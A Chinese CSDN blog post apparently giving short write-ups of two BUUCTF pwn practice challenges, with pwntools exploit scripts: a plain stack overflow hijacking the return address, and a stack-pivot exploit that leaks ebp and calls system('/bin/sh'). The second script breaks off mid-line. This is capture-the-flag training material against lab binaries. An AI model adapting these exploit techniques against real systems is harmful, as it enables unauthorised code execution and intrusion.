BUUCTF pwn水题大赏(六)

这篇博客回顾了多个CTF比赛中的栈溢出题目,包括suctf_2018_stack、ciscn_2019_es_2等,详细解释了如何利用栈溢出来控制程序执行流程,获取敏感信息或权限。
摘要由CSDN通过智能技术生成

suctf_2018_stack

最最最最最最基本的栈溢出,也不知道为啥会这么高分。
exp:

from pwn import*
context.log_level = 'DEBUG'

p=remote('node3.buuoj.cn',28582)
#p=process('./SUCTF_2018_stack')
elf=ELF('./SUCTF_2018_stack')
payload = 'a'*0x28+p64(0x0040067A)
p.sendline(payload)

#gdb.attach(p)
p.interactive()

ciscn_2019_es_2

栈迁移,ret 执行的是 ebp+4 ,所以要让 ebp 等于 epb-4 ,然后再迁移。
exp:

from pwn import*
context.log_level = 'DEBUG'

p=remote('node3.buuoj.cn',28283)
#p=process('./ciscn_2019_es_2')
elf=ELF('./ciscn_2019_es_2')
#libc = ELF('')
system = elf.plt['system']
main_addr = elf.sym['main']
leave = 0x80484b8
p.recvuntil("name?")
payload = 'a'*0x20+'b'*8
p.send(payload)
p.recvuntil('bbbbbbbb')
ebp = u32(p.recv(4))
print hex(ebp)
#gdb.attach(p)
p.send(p32(system)+'aaaa'+p32(ebp-0x2c)+'/bin/sh\x00'+'a'*0x14+p32(ebp-0x3c)+p32(leave)
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值